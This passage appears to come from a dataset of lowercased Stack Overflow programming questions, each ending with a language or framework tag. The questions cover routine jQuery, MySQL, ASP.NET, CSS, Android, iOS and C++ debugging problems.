2&lt;/b&gt;&lt;/legend&gt;       &lt;boldlabel&gt;allele_1&lt;/boldlabel&gt;&lt;input id=allele_2_1 name=allele_2_1 size=5 &gt;       &lt;boldlabel&gt;allele_2&lt;/boldlabel&gt;&lt;input id=allele_2_2 name=allele_2_2 size=5 &gt;       &lt;boldlabel&gt;run date&lt;/boldlabel&gt;&lt;input id=run_date2 name=run_date2 size=10 disabled=true&gt;       &lt;/fieldset&gt;       &lt;fieldset&gt;     &lt;legend&gt;&lt;b&gt;edit genotype  call 3&lt;/b&gt;&lt;/legend&gt;       &lt;boldlabel&gt;allele_1&lt;/boldlabel&gt;&lt;input id=allele_3_1 name=allele_3_1 size=5 &gt;       &lt;boldlabel&gt;allele_2&lt;/boldlabel&gt;&lt;input id=allele_3_2 name=allele_3_2 size=5 &gt;       &lt;boldlabel&gt;run date&lt;/boldlabel&gt;&lt;input id=run_date3 name=run_date3 size=10 disabled=true&gt;       &lt;/fieldset&gt;     &lt;/div&gt; </code></pre>   finally  here s my script:   <pre><code> function clear_fetch() {          $( #fetch_results:input   $(this)).each(function(index) {       this.value =   ;     })    } </code></pre>   however  nothing happens...so  i must not have the selector correct. does anybody see what i ve done wrong,jquery
sum of value of each month of year  i want to do a query in mysql to get the sum of a value from every month on a year.    currently i have something like this:   <pre><code>select     e.rfc as rfc      sum(f.total) as total      month(f.fecha) as mes  from     foo f  inner join     bar e          on f.bar_id = e.id  inner join     baz u          on e.baz_id = u.id  where     u.id = 3      and date(f.fecha) between  2014-01-01  and  2014-12-31   group by     month(f.fecha)  </code></pre>   but in months where doesn t exist foo values are not showing.    my result atm it s something like:   <pre><code>rfc             total           mes aaa010101aaa    10556.000000    12 aaa010101bbb    1856.000000     11 aaa010101bbb    66262.896800    10 aaa010101bbb    990.090000      9 aaa010101bbb    73.000000       8 aaa010101bbb    1304761.620000  7 </code></pre>   my desired result are:   <pre><code>rfc             total           mes aaa010101aaa    10556.000000    12 aaa010101aaa    0.0             11 ... (when no data it s available just return 0.0 for the month) aaa010101aaa    0.0             1 aaa010101bbb    0.0             12 aaa010101bbb    1856.000000     11 aaa010101bbb    66262.896800    10 aaa010101bbb    990.090000      9 aaa010101bbb    73.000000       8 aaa010101bbb    1304761.620000  7 aaa010101bbb    0.0             6 ... aaa010101bbb    0.0             1 </code></pre>   i want to fill a chart and i need a zero when no foo values are available to sum.    thank you.,mysql
copy part of a string in column to another in mysql  i want to copy the part of the content of column  alttext  to  direction  for those records where alttext contains the word  blick    <pre><code>update sv_gps set direction = alttext where alttext like  %blick%  </code></pre>   so far  so good but i only want to copy the part of the string that begins with the word blick (and continues to the end). that is wehere i love your help.    e.g.   <pre><code>alttext: bergrestaurant und hotel schonbuhel. blick ins glemmtal. </code></pre>   schould result in    <pre><code>direction: blick ins glemmtal. </code></pre>,mysql
jquery function has to repeat to work  i m just getting into jquery and notice strange behavior in the way some of my code is executed. when i execute a function based on a click action  the function runs twice  the first time with an  undefined  value for the click and the second with the expected value. the end result is the code  works  but i want to understand what i m doing wrong that is causing this unexpected behavior.    here s my jquery code:   <pre><code>$(function() {  //$( #venue ).buttonset().click(function(event  ui) { //$(  #venue  ).buttonset().live( click   function (event  ui) {    $( #venue ).buttonset().unbind( click ).bind( click   function(event  ui) {      var venuename = $( input[name= venue ]:checked ).val();      if (venuename ==  venue2 ) {         alert( about to deselect  venue:   + venuename);         $( #meallist option[value= dinner ] ).removeattr( selected );     } else {         alert( doing nothing  venue:   + venuename);     }   }); }); </code></pre>   note the three different ways of expressing the click action at the top  derived from jquery docs and previous answers on this site. all have the same outcome. you can try it here:    <a href= http://jsfiddle.net/qaxx3/6/  rel= nofollow >http://jsfiddle.net/qaxx3/6/</a>    thanks for any insight. i m hoping it s a simple newbie mistake.,jquery
loading a javascript file with vars not set at load time  the post title may not explain fully  but here is what i am hoping to do: i have my javascript code in a separate file  and i have it arranged like so   <pre><code>var pk = {      vars  : {          uris  : {              app1 :  http://this/server/                app2 :  http://that/server/          }            something : {              objects : []               obj1 : {  url : pk.vars.uris.app1 }               obj2 : {  url : pk.vars.uris.app2 }                                            }     }        methods  : {          dothis  : function(a) {             $.ajax({                 url: pk.vars.uris.app1                  data: data                  type:  get                   success: function(data) { .. do something .. }             });              }            dothat  : function(a) {             $.ajax({                 url: pk.vars.uris.app2                  data: data                  type:  get                   success: function(data) { .. do something else .. }             });              }            init  : function(position) {             if (position) { pk.methods.dothis();             }             else {                 pk.methods.dothat();             }         }     } }; </code></pre>   and then  in my html  i have the following   <pre><code>$(document).ready(function() {     pk.vars.uris.app1 =  [% app1 %] ;     pk.vars.uris.app2 =  [% app2 %] ;     pk.methods.init(); }); </code></pre>   where the values of <code>app1</code> and <code>app2</code> are sent from the server based on a config file. except  it doesn t work as expected  because  when the separate javascript loads  pk.vars.uris is not defined at that time. of course  everything works beautifully if i have pk.vars.uris{} hardcoded.    how can i delay the evaluation of <code>var pk</code> until after the document has loaded and <code>pk.vars.uris</code> is available to be used in the javascript code,javascript
should i be using 1.9.2 or 1.8.7 for rails 3.0 production apps   i m currently using 1.9.2 with rails 3  and i ran into a snag with ruby-debug.    should i be using 1.8.7 to be more on the safe side with rails 3     i m new to rails  and i want to stay away from hackish workarounds or configuration nightmares.    (i m using rvm),ruby-on-rails
how to load 2 js files and comapare their changes in c# like an assembly in c#.   here i am comparing 2 versions of code so i am using aseembly to load dll files it s working fine but here the problem is loading the js files js is not a part of dll.how to load js files and find changes,.net
which method of creating javascript objects is better   i ve seen objects defined in two different ways  which function similarly  but are  of course  fundamentally different. you can do it either like this:   <pre><code>var myobject = {property:  hello                   act: function() {                     this.property +=   world ;                }}; </code></pre>   and like this:   <pre><code>function myobject() {     this.property =  hello ;     this.act = function() {         this.property +=  world ;     } } </code></pre>   the second method could create objects like so   <pre><code>var newobj = new myobject(); </code></pre>   but you could do something similar using the first notation by making the object the return value of a function. the new keyword has the advantage of being able to pass parameters that can be used to initialize the properties of the object  but you could just as easily add an init function to the first kind of object.    just wondering if besides these two differences  if there was a fundamental difference that made one method definitely better than the other method.,javascript
unable to cast object of type  system.string  to type  system.byte[]  when trying to download a file from database  i am trying to download a file from database but its giving me an error called unable to cast object of type  system.string  to type  system.byte[]  on the line :  response.addheader( content-length   bytes.tostring());    please tell me how can i cast string to byte in my case  thank you in advance.    i have a column named salefilename from which i want to download a file.    aspx code:   <pre><code> &lt;asp:templatefield headertext= recieptname  sortexpression= recieptname &gt;                                 &lt;itemtemplate&gt;                                     &lt;asp:linkbutton id= linkbutton1  runat= server  commandname= download  commandargument= &lt;%# bind( salename ) %&gt;  text= &lt;%# bind( salename ) %&gt;  &gt;&lt;/asp:linkbutton&gt;                                 &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt; </code></pre>   code behind file:   <pre><code> protected void gridcontributions_rowcommand(object sender  gridviewcommandeventargs e)     {         if (e.commandname ==  download )         {              // make sure filename  contains only file name like  test.pdf                string filename = convert.tostring(e.commandargument);              // make sure filepath  contains file path like  uploads/scheme/test.pdf                 string filepath = e.commandargument.tostring();               string connectionstring = webconfigurationmanager.connectionstrings[ connectionstring2 ].connectionstring;             // sqlconnection con = new sqlconnection(connectionstring);             // byte[] bytes;             //string contenttype;              using (sqlconnection con = new sqlconnection(connectionstring))             {                 using (sqlcommand cmd = new sqlcommand())                 {                     cmd.commandtext =  selectsalefilename from contributions where salefilename = @salefilename ;                     cmd.parameters.addwithvalue( @salefilename   filename);                     //d.commandtype = commandtype.storedprocedure;                     cmd.connection = con;                     con.open();                     using ( sqldatareader sdr = cmd.executereader())                      {                         sdr.read();                         bytes = (byte[])sdr[ salefilename ];                        //byte data = system.text.encoding.unicode.getbytes(salefilename.tostring);                        }                     con.close();                  }             }             response.clear();             response.buffer = true;              // read the original file from disk              filestream myfilestream = new filestream( filepath   filemode.open);             long filesize = myfilestream.length;             byte[] buffer = new byte[convert.toint32(filesize)];             myfilestream.read(buffer  0  convert.toint32(filesize));             myfilestream.close();                // // tell the browse stuff about the file             response.addheader( content-length   bytes.tostring());            // response.addheader( content-length   filenam                 //response.addheader( content-disposition    inline; filename=  &amp; filename.replace(      _ ));             response.addheader( content-disposition    attachment; filename=  + filename +  ; );             response.transmitfile(filename);             response.contenttype =  application/octet-stream ;              // send the data to the browser             response.binarywrite(buffer);             response.end();         }     } </code></pre>,asp.net
i would like to apply css to the first image  i tried <code>first-child</code> but i couldn t get it to work.    <strong>css</strong>   <pre><code>.post_locked2 img:first-child { </code></pre>   <strong>html</strong>   <pre><code>&lt;div class= post_locked2 &gt;   &lt;h1&gt;title...   &lt;h2&gt;subtitle....   &lt;p&gt;.....   &lt;p&gt;....   &lt;img class= aligncenter  src= http://www.what...   &lt;img title= rockdizfile  src= http://......   &lt;img title= bullet  src= http://wwww....... &lt;/div&gt; </code></pre>   how would you apply css to the first image only,css
change table view s cell selection color  can we change the selection color of table view  i.e cell  by default its blue  so  can we change it to any other color     regards,iphone
js script not working properly after changing variable names  i m working on a site for a customer. i ve written some javascript that prints a list of links for the customer but it doesn t work like its supposed to. you can find the file <a href= http://www.grizfirestarters.com/stores.js  rel= nofollow >here</a>. its supposed to print three columns but it only prints the first two. this used to work before before i changed some variable names. what could have gone wrong  see the finished page at grizfirestarters.com/stores_dyn.htm    edit: i ve fixed the problem by making the column sizes set instead of dynamic. kind of took the fun out of it  but gets the job done. code below:   <pre><code>/**************** author: timothy grindall copyright: timothy grindall 2008  note: the array  city_name_wash  is passed to this script by another script that is loaded on the same page and does not need to be included in this script. liscense: gnu public liscense. note: if you don t know what the gnu public liscense is  you can probably find out by searching in wikipedia at  http://www.wikipedia.org . a gnu public liscense basically means that you can use this code in any way you like as long as you don t sell the whole or any part of it in the original javascript or in a translated and/or compiled form. *********************/  /************************** *    format and print     * **************************/  // *** start washington stores *** //  wash_col_size = math.floor(city_name_wash.length / 3);  add_count = 2;  // calculate difference between rounded wash_col_size and unrounded wash_col_size. if there is a difference we need to compensate for extra cities/entries by making slightly longer columns  if ( (city_name_wash.length - (wash_col_size*3)) != 0 ) {     wash_col_size = wash_col_size + add_count; }  document.write( &lt;div id= cities_wrapperl &gt; );//begin cities_wrapperl  for (i=0; i &lt; wash_col_size*2; i++) {      // prepare a link name from the city name     link_name = city_name_wash[i].split(  ( )[0]; // finds the first part of the name minus the  () s on the end      document.write( &lt;div id= cityl &gt;&lt;a href= fixjava.htm  onclick= javascript: window.location = \ store_info_map.html img=\  + this image + \ &amp;city =   + link_name +  \ ; return false; &gt; + city_name_wash[i] +  &lt;/ a&gt;&lt;/div&gt; );      i++; // increment counter      // prepare a link name from the city name     link_name = city_name_wash[i].split(  ( )[0]; // finds the first part of the name minus the  () s on the end      document.write( &lt;div id= cityc &gt;&lt;a href= fixjava.htm  onclick= javascript: window.location = \ store_info_map.html img=\  + this_image + \ &amp;city=  + link_name +  \ ; return false; &gt;  + city_name_wash[i] +  &lt;/ a&gt;&lt;/div&gt; );  }  document.write( &lt;/div&gt;&lt;div id= cities_wrapperr &gt; ); // end of cities_wrapperl and start of cities_wrapperr   for ( i = wash_col_size*2; i &lt; wash_col_size*3; i++){      // prepare a link name from the city name     link_name = city_name_wash[i].split(  ( )[0]; // finds the first part of the name minus the  () s on the end      document.write( &lt;div id= cityr &gt;&lt;a href= fixjava.htm  onclick =  javascript: window.location = \ store_info_map.html img = \  + this_image + \ &amp;city =   + link_name +  \ ; return false; &gt; + city_name_wash[i] +  &lt;/ a&gt;&lt;/div&gt; );  }  document.write( &lt;/div&gt; ); // end of cities_wrapperr  // *** start idaho stores *** //   var content = document.getelementsbyname( content )[0]; content.id =  short-back  + (wash_col_size - 3); // set to id that has the same positioning  but a different background image if ( wash_col_size &lt; 4 ) content.id =  short-back ; // in case there is three or less if ( wash_col_size &gt; 9 ) content.id =  main-content_stores    /************************** *     target example:     * **************************/  /* &lt;div id= cities_wrapperl &gt;     &lt;div id= cityl &gt;&lt;a href= aberdeen.htm &gt;aberdeen&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityc &gt;&lt;a href= gold bar.htm &gt;gold bar&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityl &gt;&lt;a href= anacortes.htm &gt;anacortes&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityc &gt;&lt;a href= granite_falls.htm &gt;granite falls&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityl &gt;&lt;a href= arlington.htm &gt;arlington (2)&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityc &gt;&lt;a href= hoodsport.htm &gt;hoodsport&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityl &gt;&lt;a href= bellingham.htm &gt;bellingham (2)&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityc &gt;&lt;a href= joyce.htm &gt;joyce (2)&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; &lt;div id= cities_wrapperr &gt;     &lt;div id= cityr &gt;&lt;a href= port_angeles.htm &gt;port angeles&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityr &gt;&lt;a href= port_townsend.htm &gt;port townsend (2)&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityr &gt;&lt;a href= poulsbo.htm &gt;poulsbo (2)&lt;/a&gt;&lt;/div&gt;     &lt;div id= cityr &gt;&lt;a href= randle.htm &gt;randle&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; */ </code></pre>,javascript
clear x icon focus out issue using angularjs  i need x icon for removing input field values  1. when user type anything  x  icon will be displayed   <ol start= 2 > <li> if no values available in input box x will be hide </li> <li> when values available in input box and focus out the input box we need to hide the x icon and focus in we need to show x icon again. </li> </ol>   when we add <code>ng-blur= count = !count </code> (focus out i need to hide x if input has values) in input box my expectation will be failed.    <strong>code:</strong>   <pre><code>&lt;span ng-show= name &amp;&amp; count  ng-click= name=    style= position: absolute;left: 203px;cursor;pointer; &gt;x&lt;/span&gt; name: &lt;input ng-model= name  ng-focus= count = !count  ng-init= count=false  &gt; &lt;p&gt;{{count}}&lt;/p&gt; </code></pre>   any one please helps me how to fix this issue,angularjs
remove cs from created div  the following code is to display a div popup loader with a dimmed background during an async postback  in a .net application. how do i remove the css class modal from  body  in hideprogress()     <pre><code>function showprogress() {     settimeout(function () {         modal = $( &lt;div /&gt; );         modal.addclass( modal );         $( body ).append(modal);         var loading = $( .loading );         loading.show();         var top = math.max($(window).height() / 2 - loading[0].offsetheight / 2  0);         var left = math.max($(window).width() / 2 - loading[0].offsetwidth / 2  0);         loading.css({ top: top  left: left });     }  200); }  function hideprogress() {     //alert( hideloading );     document.getelementbyid( loading ).onsubmit = null;     document.getelementbyid( loading ).style.display =  none ;     document.getelementbyid( body ).onsubmit = null;     document.getelementbyid( body ).style.display =  none ;     //alert( done ); } </code></pre>,jquery
check if there is a delegate listening   i have a class that send delegate messages to another class. if the other class is not listening  the app is crash . i was looking for a way to check if the other class is listen before i send the message.     so in the class that post the delegate   i have this condition the check that :    <pre><code>       if ([self.delegate respondstoselector:@selector(newdatafromsocketwithstring:withcommand:)])            [self.delegate newdatafromsocketwithstring:final withcommand:c]; </code></pre>   where somehow   the condition is always true  even if the class that gets the delegate is already released and not exist anymore .    how do i check the delegate before posting to eliminate crashes,objective-c
how do put a code well in my website   i m currently creating a website and i need to show an example of code on the page. simply putting it within a p obviously doesn t work  as the tags do not display. is there anyway to get them to display on the webpage,html
rails error_messages helper  this is a very common piece of code   <pre><code>&lt;% form_for :blah... do |f| %&gt; &lt;%= f.error_messages %&gt; first name: &lt;%= f.text_field :first_name %&gt;&lt;br /&gt; .... &lt;% end %&gt; </code></pre>   <code>error_messages</code> is a helper method but i am having a hard time finding the documentation for it  why is that,ruby-on-rails
html form submit button event is not triggered on the web server  but works in sandbox  i m a bit of a html noobie but for some strange reason  my html form s submit button event does not fire once it s uploaded to my web server but the same code works on my own computer.    is there a way to solve this,html
rails : actionview::templateerror (flag after width) <pre><code>actionview::templateerror (flag after width) on line #3 of vendor/plugins/exception_notification/views/exception_notifier/_environment.rhtml: 1: &lt;% max = @request.env.keys.max { |a b| a.length &lt;=&gt; b.length } -%&gt; 2: &lt;% @request.env.keys.sort.each do |key| -%&gt; 3: * &lt;%=  %*-s: %s  % [max.length  key  filter_sensitive_post_data_from_env(key  @request.env[key].to_s.strip)] %&gt; 4: &lt;% end -%&gt; 5:  6: * process: &lt;%= $$ %&gt;   </code></pre>   what  what does this error mean exactly  how does one fix it,ruby-on-rails
append all hrefs in class with hash  i am trying to append the hrefs inside all .drawer-filter-btns>a anchor tags with the url fragment on page-load. the url fragment is determined by the link from the previous page (for example  site.com/foo#bar) which i intend to have generate the urls on this page to link to the various colour types available for each product sub-set.    at the moment my html looks like this:   <pre><code>&lt;div class= drawer-filter-btns &gt;     &lt;a href= _door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= _door_type_b_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= _door_type_a_drawer_type_2 &gt;link&lt;/a&gt;     &lt;a href= _door_type_b_drawer_type_2 &gt;link&lt;/a&gt;     &lt;a href= _door_type_a_drawer_type_3 &gt;link&lt;/a&gt;     &lt;a href= _door_type_b_drawer_type_3 &gt;link&lt;/a&gt;     &lt;a href= _door_type_a_drawer_type_4 &gt;link&lt;/a&gt;     &lt;a href= _door_type_b_drawer_type_4 &gt;link&lt;/a&gt; &lt;/div&gt; </code></pre>   it was easy enough figuring out the logic for just doing one:   <pre><code>var href = $( .drawer-filter-btns&gt;a ).attr( href ); var hash = location.hash.substr(1); $( .drawer-filter-btns&gt;a ).attr( href   hash + href); </code></pre>   however the issue i have is that each button has a different href (before the js is executed) but the code only takes into account the first and copies it over all of the hrefs inside .drawer-filter-btns>a  so my html becomes this (after code execution):   <pre><code>&lt;div class= drawer-filter-btns &gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt; &lt;/div&gt; </code></pre>   despite being new to jquery / javascript  i attempted to get around this using what logic i had learned from php  though it didn t work as intended.   <pre><code>$( .drawer-filter-btns&gt;a ).attr( href ).each(function(){     var href = $( .drawer-filter-btns&gt;a ).attr( href );     var hash = location.hash.substr(1);     $( .drawer-filter-btns&gt;a ).attr( href   hash + href); }); </code></pre>   what i am trying to do get the href variable to update with each link so that it appends all of them correctly. there may be a way to do this without setting the original href as a variable but i m currently unskilled with javascript.    ideally  my final output will look like this:   <pre><code>&lt;div class= drawer-filter-btns &gt;     &lt;a href= bar_door_type_a_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_b_drawer_type_1 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_2 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_b_drawer_type_2 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_3 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_b_drawer_type_3 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_a_drawer_type_4 &gt;link&lt;/a&gt;     &lt;a href= bar_door_type_b_drawer_type_4 &gt;link&lt;/a&gt; &lt;/div&gt; </code></pre>,jquery
how to prevent your web page to display in ie   i am working on my first project and it looks ok in chrome and opera. but for some reason the  signature chef dish  section  looks off on firefox. i suspect it has something to do with the grid i implemented there     how can i fix this      also i want to disable view in the ie and it looks like a complete mess. why     url: <a href= http://www.chefmarwanslim.com  rel= nofollow noreferrer >http://www.chefmarwanslim.com</a>    the code:    <a href= https://github.com/igor2122/marwan-3-0.git  rel= nofollow noreferrer >https://github.com/igor2122/marwan-3-0.git</a>,html
how to access directory  /storage/emulated   i m on <strong>marshmallow(api 23)</strong>.     and <strong>i ve declared the relative permissions and request these permissions in runtime.</strong> i ve got the <code>external storage directory</code>—— /storage/emulated/0  through <code>environment.getexternalstoragedirectory()</code>. using this file instance(here i call it <code>extf</code>)  <code>extf.listfiles()</code> is not null. but <code>extf.getparentfile().listfiles()</code> returns null.     in adb shell  i have checked the <code> /storage/emulated </code> directory and there did have two child directories:    <code>0</code>    <code>obb</code>    so  why can t i get the children files of <code> /storage/emulated </code> on <code>marshmallow(api23)</code> through <code>file.listfiles()</code>  thank you for your explanation.,android
how do i update an existing older rails project to a newer version  i have a rails project using rails 3.0.7.    i want to update it to 3.1.0.rc6.    however the directory structure of these are really different     is there an automatic way to transfer the directory structure  thank you very much.,ruby-on-rails
vs 2015 error unable to start debugging on the web server. remote server returned an error:(403) forbidden  <a href= https://i.stack.imgur.com/olrib.png  rel= nofollow noreferrer >error</a>    i copied the website files from another laptop  it works well on that laptop. i tried resetting the internet services. but still same error is being displayed.i clicked the help button but it did not provide any solution for the applications that are copied or moved website opens if i type https in the address bar. i guess there is some configuration settings problem. i d appreciate ideas.,asp.net
c++ copy vector range before erase  i have   <pre><code>std::vector v_1; std::vector v_2; </code></pre>   and i want to delete some elements in v_1 but store them in vector v_2 before doing so. something along the lines   <pre><code>auto deleteif = [](auto&amp; x) {return x.checkdelete();} auto it = std::remove_if(v_1.begin()  v_1.end()  deleteif); // how can i efficiently copy elements it to v_1 end to v2  v1.erase(it  v_2.end()); </code></pre>   how can i most efficiently copy the elements that will be erased to v_2,c++
why do you see the (empty) property of an derived exception while debugging and catching it as exception   while reading and <a href= https://stackoverflow.com/questions/31920078/exception-not-showing-list-values >this</a> question and answer here on stackoverflow i wondered  why you can see the <code>list&lt;string&gt;</code> but are not able to access it.    in my understanding  you can not access the members of a derived class within the base class. then  why does it happen to be this way  apparently you can see it  but you can t do something with it.,c#
ios swift webview spaces in file name  i am new to ios programing. i have created a web view and now i m trying to display my pdf file in the web view. everything is fine if my file name is a single word  i am able to load the file in the web view. when my filename contains spaces in it  the application crashes when it tries to load the file. thanks in advance if anyone can help me regarding this. below is my code. plz let me know if any additional information needed.   <pre><code>@iboutlet weak var mywebview: uiwebview! var appdel : appdelegate = uiapplication.sharedapplication().delegate as! appdelegate override func viewdidload() {     super.viewdidload()      let url =  http://iracegcc.com/wallet/\(self.appdel.filename) ;     var  urlstring :string = url.stringbyreplacingpercentescapesusingencoding(nsutf8stringencoding)!     let requesturl = nsurl(string:urlstring)     let request = nsurlrequest(url: requesturl!)     mywebview.loadrequest(request)     // do any additional setup after loading the view. } </code></pre>,ios
"jquery resizable stops me editing my div  i m trying to make an editable div resizable. i ve managed to make the div editable. i ve managed to make the div resizable. i ve now realised it is no longer editable.    a little trial and error shows this is due to the resizable library doing something i don t understand. if i use the element inspector i can see that the type i type is stored in the html  but it s never visible.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var ele = document.getelementbyid( a );
 $(ele).resizable();</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
   width: 300px;
   height: 150px;
   background: white;
   border: solid 1px green;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link rel= stylesheet  href= https://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css  /&gt;
 &lt;script src= https://code.jquery.com/jquery-1.12.4.js &gt;&lt;/script&gt;
 &lt;script src= https://code.jquery.com/ui/1.12.1/jquery-ui.js &gt;&lt;/script&gt;
 
 &lt;div contenteditable= true &gt;this is without jquery and works great but doesn t resize.&lt;/div&gt;
 &lt;div contenteditable= true  id= a &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     can some one explain what i need to do so i can edit my div     oddly  if i code content into the div (such as <code>myelement.innertext =  hello world </code>) then it is editable  until i delete all the code and then it appears non-editable again    i ve created a <a href= https://jsfiddle.net/2rk0pny3/2/  rel= nofollow noreferrer >jsfiddle</a> to demonstrate it",jquery
how to cut mp3 file from android code  i am making a phone call recording app and i want to cut the noise of caller tone from recording.    i want to know that  is there a way to cut an mp3 file by code,android
how to identify that my android device supports mimo   <strong>how to identify that my android device supports mimo </strong>     is there any way to find it pragmatically,android
animation in custom pager in not starting up  i have a custom pager that uses two animations   <pre><code>final animation fadeout = animationutils.loadanimation(mcontext  r.anim.fade_out); final animation fadein = animationutils.loadanimation(mcontext  r.anim.fade_in); </code></pre>   for some reason  the animations are not starting up. for example  i m logging   <pre><code>log.v( tag    l1 start animation ); //prints  l1 start animation  </code></pre>   but i m not logging anything in <code>onanimationend</code>   <pre><code>log.v( tag    l1 animation end ); //nothing is printing out </code></pre>   here is <code>setanimation()</code> method of <code>custompager</code> class   <pre><code> public void setanimation(){      final animation fadeout = animationutils.loadanimation(mcontext  r.anim.fade_out);     final animation fadein = animationutils.loadanimation(mcontext  r.anim.fade_in);      l1.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {              log.v( tag    l1 clicked );              if (clicked) {                  //do nothing              } else {                  clicked = true;                  fadeout.setanimationlistener(new animation.animationlistener() {                     @override                     public void onanimationstart(animation animation) {                         log.v( tag    l1 animation start );                     }                      @override                     public void onanimationrepeat(animation animation) {                     }                      @override                     public void onanimationend(animation animation) {                         log.v( tag    l1 animation end );                         l1.setvisibility(view.gone);                         l2.bringtofront();                         clicked = false;                      }                 });                 log.v( tag    l1 start animation );                 l1.startanimation(fadeout);                 l2.setvisibility(view.visible);                 l2.startanimation(fadein);             }         }     });      //etc  } </code></pre>   here is <code>custompager</code> class   <pre><code>public class custompager extends pageradapter {      private context mcontext;     private view l1;     private view l2;     private layoutinflater inflater;     private viewgroup layout;     private bitmap pic;     private bitmap pic_blurred;     private boolean clicked = false;      public custompager(context context) {          this.mcontext = context;     }      @override     public object instantiateitem(viewgroup collection  int position) {          inflater = layoutinflater.from(mcontext);         layout = (viewgroup) inflater.inflate(r.layout.pager_play_panel  collection  false);         collection.addview(layout);          l1 = layout.findviewbyid(r.id.l1);         l2 = layout.findviewbyid(r.id.l2);          pic = bitmapfactory.decoderesource(mcontext.getresources()  r.drawable.pic);         picture_blurred = blur(pic  1  100);          bitmapdrawable bkg1 = new bitmapdrawable(pic);         l1.setbackgrounddrawable(bkg1);          bitmapdrawable bkg2 = new bitmapdrawable(picture_blurred);         l2.setbackgrounddrawable(bkg2);          setanimation();          return layout;     }      public void setanimation(){          final animation fadeout = animationutils.loadanimation(mcontext  r.anim.fade_out);         final animation fadein = animationutils.loadanimation(mcontext  r.anim.fade_in);          l1.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                  log.v( tag    l1 clicked );                  if (clicked) {                      //do nothing                  } else {                      clicked = true;                      fadeout.setanimationlistener(new animation.animationlistener() {                         @override                         public void onanimationstart(animation animation) {                             log.v( tag    l1 animation start );                         }                          @override                         public void onanimationrepeat(animation animation) {                         }                          @override                         public void onanimationend(animation animation) {                             log.v( tag    l1 animation end );                             l1.setvisibility(view.gone);                             l2.bringtofront();                             clicked = false;                          }                     });                     log.v( tag    l1 start animation );                     l1.startanimation(fadeout);                     l2.setvisibility(view.visible);                     l2.startanimation(fadein);                 }             }         });          l2.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                  log.v( tag    l2 clicked );                  if (clicked) {                      //do nothing                  } else {                      clicked = true;                      fadeout.setanimationlistener(new animation.animationlistener() {                         @override                         public void onanimationstart(animation animation) {                         }                          @override                         public void onanimationrepeat(animation animation) {                         }                          @override                         public void onanimationend(animation animation) {                              l2.setvisibility(view.gone);                             l1.bringtofront();                             log.v( tag    l2 visibility set to gone );                             clicked = false;                           }                     });                     l2.startanimation(fadeout);                     l1.setvisibility(view.visible);                     l1.startanimation(fadein);                 }             }         });     }      //etc. } </code></pre>,android
how to change jquery parameter with a submit form   i am a newbie at jquery. i was trying some things but i need some help.    i have the following script    <pre><code>jquery(function($){         $( #query ).whatever({           parameter1: 32            parameter2: 4            query:  something          });       }); </code></pre>   i need a script to change <code>query:  something </code> to <code>query:  something else </code> by a submit form. is it possible     ps: i change <code>$( #query ).something</code> to <code>$( #query ).whatever</code> to dont confused with the parameter <code>query:  something </code>    actualy i use jquery code from <a href= http://tweet.seaofclouds.com/  rel= nofollow >http://tweet.seaofclouds.com/</a> i want to change the  query  parameter in example 2 as i told before  by a submit form.,jquery
function that may work in-place  i have the following function:   <pre><code>shared_ptr_of_points filter(const shared_ptr_of_points input){     shared_ptr_of_points result = make_new();     for(const auto item:input-&gt;points){          if(cond(item)){             result-&gt;add_point(item);          }     }     return result; } </code></pre>   a typical use is:   <pre><code>auto filtered_points = filter(some_noisy_points); </code></pre>   however  it may be used in another way which is:   <pre><code>some_points = filter(some_points); </code></pre>   the above implementation works fine in this case. however  an unnecessary copy is done.    <strong>the question:</strong> what is the classical solution for this problem     p.s. i need both cases to work fine where in the first one  the copy should happen (i have to accept the argument as <code>const</code>). in the second case  no copy should happen.    while overloading is ok  making two separated functions is not an option.,c++
what is accessible using an apple id   if get an apple id  what can i access     can i download example games  access the necessary developer information  or any other help with the objective-c language such as tutorials,iphone
css: i can t see what is causing this underline  on <a href= http://test.doig.com.au/mhm/  rel= nofollow noreferrer >this site</a>  there is a line underneath  marketing agency fremantle .    <a href= https://i.stack.imgur.com/vl223.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vl223.png  alt= enter image description here ></a>    i have used chrome code inspector but cannot find what is causing this.    i want to remove the line. thanks.,css
